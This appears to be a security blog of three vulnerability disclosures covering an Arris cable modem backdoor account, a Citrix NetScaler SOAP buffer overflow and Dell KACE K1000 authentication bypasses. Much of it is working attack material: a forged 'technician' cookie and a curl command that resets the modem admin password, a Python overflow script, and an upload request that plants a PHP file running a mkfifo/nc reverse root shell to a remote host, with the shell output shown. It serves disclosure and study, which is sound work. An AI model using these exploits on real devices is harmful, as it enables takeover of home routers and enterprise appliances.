Arris Cable Modem Backdoor - I'm a technician, trust me.

Vendor backdoors are the worst. Sloppy coding leading to unintentional "bugdoors" is somewhat defendable, but flat out backdoors are always unacceptable. Todays example is brought to you by Arris. A great quote from their site -

Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.

Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW

After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):

Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9

 All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:

{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}

And after base64 decoding the "credential" value we get:

{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}

Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:

Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9

Which decodes to the following:

{"credential":"dGVjaG5pY2lhbjo="}

And finally:

{"credential":"technician:"} 

Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(

That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.

Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:

That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:

Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:

SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4);

Appears that the OID "1.3.6.1.4.1.4115.1.20.1.1.5.1" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:

HTTP/1.1 200 OK
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
{
"1.3.6.1.4.1.4115.1.20.1.1.5.1.0":"",
"1":"Finish"
}

What about setting a new value? Surely that will not work....

That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:

This functionality can be wrapped up in the following curl command:

curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'

Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.

The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this bug backdoor - you as the end user CANNOT update your device because the interface doesn't provide that functionality to you! Next level engineering.

Scaling the NetScaler

A few months ago I noticed that Citrix provides virtual appliances to test their applications, I decided to pull down an appliance and take a peek. First I started out by downloading the trial Netscaler VM (version 10.1-119.7) from the following location:

http://www.citrix.com/products/netscaler-application-delivery-controller/try.html

Upon boot, the appliance is configured with nsroot/nsroot for the login and password. I logged in and started looking around and noticed that the web application is written in PHP using the code igniter framework (screw that crap). Since code igniter abstracts everything with MVC and actual scripts are hidden behind routes I decided to take a look at the apache configuration. I noticed that apache was configured with a SOAP endpoint that was using shared objects (YUMMY):

/etc/httpd 

# SOAP handler
<Location /soap>
SetHandler gsoap-handler SOAPLibrary /usr/lib/libnscli90.so SupportLibrary /usr/lib/libnsapps.so </Location>

It wasn’t clear what this end point was used for and it wasn’t friendly if you hit it directly:

So I grep’d through the application code looking for any calls to this service and got a hit:

root@ns# grep -r '/soap' *
models/common/xmlapi_model.php: $this->soap_client = new nusoap_client("http://" . $this->server_ip . "/soap");

Within this file I saw this juicy bit of PHP which would have made this whole process way easier if it wasn’t neutered with the hardcoded “$use_api = true;”

/netscaler/ns_gui/admin_ui/php/application/models/common/xmlapi_model.php

protected function command_execution($command, $parameters, $use_api = true) {
//Reporting can use API & exe to execute commands. To make it work, comment the following line.
$use_api = true; if(!$use_api)
{
$exec_command = "/netscaler/nscollect " . $this- >convert_parameters_to_string($command, $parameters);
$this->benchmark->mark("ns_exe_start");
$exe_result = exec($exec_command); $this->benchmark->mark("ns_exe_end");
$elapsed_time = $this->benchmark->elapsed_time("ns_exe_start",
"ns_exe_end");
log_message("profile", $elapsed_time . " --> EXE_EXECUTION_TIME " .
$command); $this->result["rc"] = 0;
$this->result["message"] = "Done"; $this->result["List"] = array(array("response" => $exe_result));
$return_value = 0;
} 

For giggles I set it to false and gave it a whirl, worked as expected :(

The other side of this “if” statement was a reference to making a soap call and due to the reference to the local “/soap” and the fact all roads from “do_login” were driven to this file through over nine thousand levels of abstraction it was clear that upon login the server made an internal request to this endpoint. I started up tcpdump on the loopback interface on the box and captured an example request:

root@ns# tcpdump -Ani lo0 -s0 port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 65535 bytes 23:29:18.169188 IP 127.0.0.1.49731 > 127.0.0.1.80: P 1:863(862) ack 1 win 33304 <nop,nop,timestamp 1659543 1659542>
E...>D@.@............C.P'R...2.............
..R...R.POST /soap HTTP/1.0
Host: 127.0.0.1
User-Agent: NuSOAP/0.9.5 (1.56)
Content-Type: text/xml; charset=ISO-8859-1
SOAPAction: ""
Content-Length: 708
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body> <ns7744:login xmlns:ns7744="urn:NSConfig"><username xsi:type="xsd:string">nsroot</username><password xsi:type="xsd:string">nsroot</password><clientip
xsi:type="xsd:string">192.168.166.1</clientip><cookieTimeout xsi:type="xsd:int">1800</cookieTimeout><ns xsi:type="xsd:string">192.168.166.138</ns></ns7744:login></SOAP-ENV:Body> </SOAP-ENV:Envelope>
23:29:18.174582 IP 127.0.0.1.80 > 127.0.0.1.49731: P 1:961(960) ack 863 win 33304 <nop,nop,timestamp 1659548 1659543>
E...>[@.@............P.C.2..'R.o.....\.....
..R...R.HTTP/1.1 200 OK
Date: Mon, 02 Jun 2014 23:29:18 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2014 23:29:18 GMT Status: 200 OK
Content-Length: 615
Connection: keep-alive, close
Set-Cookie: NSAPI=##7BD2646BC9BC8A2426ACD0A5D92AF3377A152EBFDA878F45DAAF34A43 09F;Domain=127.0.0.1;Path=/soap;Version=1
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:NSConfig"> <SOAP-ENV:Header></SOAP-ENV:Header><SOAP-ENV:Body SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:loginResponse><return xsi:type="ns:simpleResult"><rc xsi:type="xsd:unsignedInt">0</rc><message xsi:type="xsd:string">Done</message> </return></ns:loginResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

I pulled the request out and started playing with it in burp repeater. The one thing that seemed strange was that it had a parameter that was the IP of the box itself, the client string I got...it was used for tracking who was making requests to login, but the other didn’t really make sense to me. I went ahead and changed the address to another VM and noticed something strange:

According to tcpdump it was trying to connect to my provided host on port 3010:

root@ns# tcpdump -A host 192.168.166.137 and port not ssh
tcpdump: WARNING: BIOCPROMISC: Device busy
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on 0/1, link-type EN10MB (Ethernet), capture size 96 bytes 23:37:17.040559 IP 192.168.166.138.49392 > 192.168.166.137.3010: S 4126875155:4126875155(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp 2138392 0,sackOK,eol>

I fired up netcat to see what it was sending, but it was just “junk”, so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn’t really clear exactly what the data was as it was some sort of “binary” stream:

I grabbed a copy of the servers response and setup a test python client that replied with a replay of the servers response, it worked (and there may be an auth bypass here as it responds with a cookie for some API functionality...). I figured it may be worth shooting a bunch of crap back at the client just to see what would happen. I modified my python script to insert a bunch “A” into the stream:

import socket,sys
resp = “\x00\x01\x00\x00\xa5\xa5”+ (“A"*1000)+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
HOST = None # Symbolic name meaning all available interfaces
PORT = 3010 # Arbitrary non-privileged port
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
continue
try:
s.bind(sa)
s.listen(1)
except socket.error as msg:
s.close()
s = None
continue
break
if s is None:
print 'could not open socket'
sys.exit(1)
conn, addr = s.accept()
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data:
break
print 'sending!' conn.send(resp)
print 'sent!' conn.close()

Which provided the following awesome log entry in the Netscaler VM window:

Loading the dump up in gdb we get the following (promising looking):

And the current instruction it is trying to call:

An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit “pattern_create” works great for this (“root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000”). After replacing the “A” *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:

Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP 

resp = "\x00\x01\x00\x00\xa5\xa5"+p[:610]+'\x78\xda\xff\xff'+p[614:]+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

When we run everything again and take a look at our core dump you can see we have progressed in execution and have hit another snag that causes a crash:

The crash was caused because once again the app is trying to access a value at an offset of a bad address (from our payload). This value is at offset 606 in our payload according to “pattern_offset” and if you were following along you can see that this value sits at 0xffffda78 + 4, which is what we specified previously. So we need to adjust our payload with another address to have EDX point at a valid address and keep playing whack a mole OR we can look at the function and possibly find a short cut:

If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )

And of course, the money shot:

A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)

It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:

6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure

The curious case of the ninjamonkeypiratelaser backdoor

A bit over a month ago I had the chance to play with a Dell KACE K1000 appliance ("http://www.kace.com/products/systems-management-appliance"). I'm not even sure how to feel about what I saw, mostly I was just disgusted. All of the following was confirmed on the latest version of the K1000 appliance (5.5.90545), if they weren't working on a patch for this - they are now.

Anyways, the first bug I ran into was an authenticated script that was vulnerable to path traversal:

POST /userui/downloadpxy.php HTTP/1.1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download

HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini   ;
;;;;;;;;;;;;;;;;;;;

That bug is neat, but its post-auth and can’t be used for RCE because it returns the file as an attachment :(

So moving along, I utilized the previous bug to navigate the file system (its nice enough to give a directory listing if a path is provided, thanks!), this led me to a file named “kbot_upload.php”. This file is located on the appliance at the following location:

http://targethost/service/kbot_upload.php

This script includes “KBotUpload.class.php” and then calls “KBotUpload::HandlePUT()”, it does not check for a valid session and utilizes its own “special” means to auth the request.

The "HandlePut()" function contains the following calls:

        $checksumFn = $_GET['filename'];
        $fn = rawurldecode($_GET['filename']);
        $machineId = $_GET['machineId'];
        $checksum = $_GET['checksum'];
        $mac = $_GET['mac'];
        $kbotId = $_GET['kbotId'];
        $version = $_GET['version'];
        $patchScheduleId = $_GET['patchscheduleid'];
        if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
            KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
                  ."($machineId, $checksumFn, $mac)");
            KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
                  ."from HandlePUT(".construct_url($_GET).")");
            header("Status: 500", true, 500);
            return;
        }

The server checks to ensure that the request is authorized by inspecting the "checksum" variable that is part of the server request. This "checksum" variable is created by the client using the following:

      md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

Server side check:

    private static function calcTokenChecksum($filename, $machineId, $mac)
    {
        //return md5("$filename $machineId $mac" . $ip .
        //           'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
     
        // our tracking of ips really sucks and when I'm vpn'ed from
        // home I couldn't get patching to work, cause the ip that
        // was on the machine record was different from the
        // remote server ip.
        return md5("$filename $machineId $mac" .
                   'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
    }

The "secret" value is hardcoded into the application and cannot be changed by the end user (backdoor++;). Once an attacker knows this value, they are able to bypass the authorization check and upload a file to the server. 

In addition to this “calcTokenChecksum” check, there is a hardcoded value of "SCRAMBLE" that can be provided by the attacker that will bypass the auth check (backdoor++;):  

 if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {

Once this check is bypassed we are able to write a file anywhere on the server where we have permissions (thanks directory traversal #2!), at this time we are running in the context of the "www” user (boooooo). The "www" user has permission to write to the directory "/kbox/kboxwww/tmp”, time to escalate to something more useful :)

From our new home in “tmp” with our weak user it was discovered that the KACE K1000 application contains admin functionality (not exposed to the webroot) that is able to execute commands as root using some IPC (“KSudoClient.class.php”).

The "KSudoClient.class.php" can be used to execute commands as root, specifically the function "RunCommandWait". The following application call utilizes everything that was outlined above and sets up a reverse root shell, "REMOTEHOST" would be replaced with the host we want the server to connect back to:

    POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Content-Length: 190
    <?php
    require_once 'KSudoClient.class.php';
    KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?> 

Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:

    http://targethost/service/tmp/db.php

On our host:

    ~$ ncat -lkvp 4444
    Ncat: Version 5.21 ( http://nmap.org/ncat )
    Ncat: Listening on 0.0.0.0:4444
    Ncat: Connection from XX.XX.XX.XX
    sh: can't access tty; job control turned off
    # id
    uid=0(root) gid=0(wheel) groups=0(wheel)  

So at the end of the the day the count looks like this:

Directory Traversals: 2
Backdoors: 2
Privilege Escalation: 1

That all adds up to owned last time I checked.

Example PoC can be found at the following location:
https://github.com/steponequit/kaced/blob/master/kaced.py

Example usage can be seen below: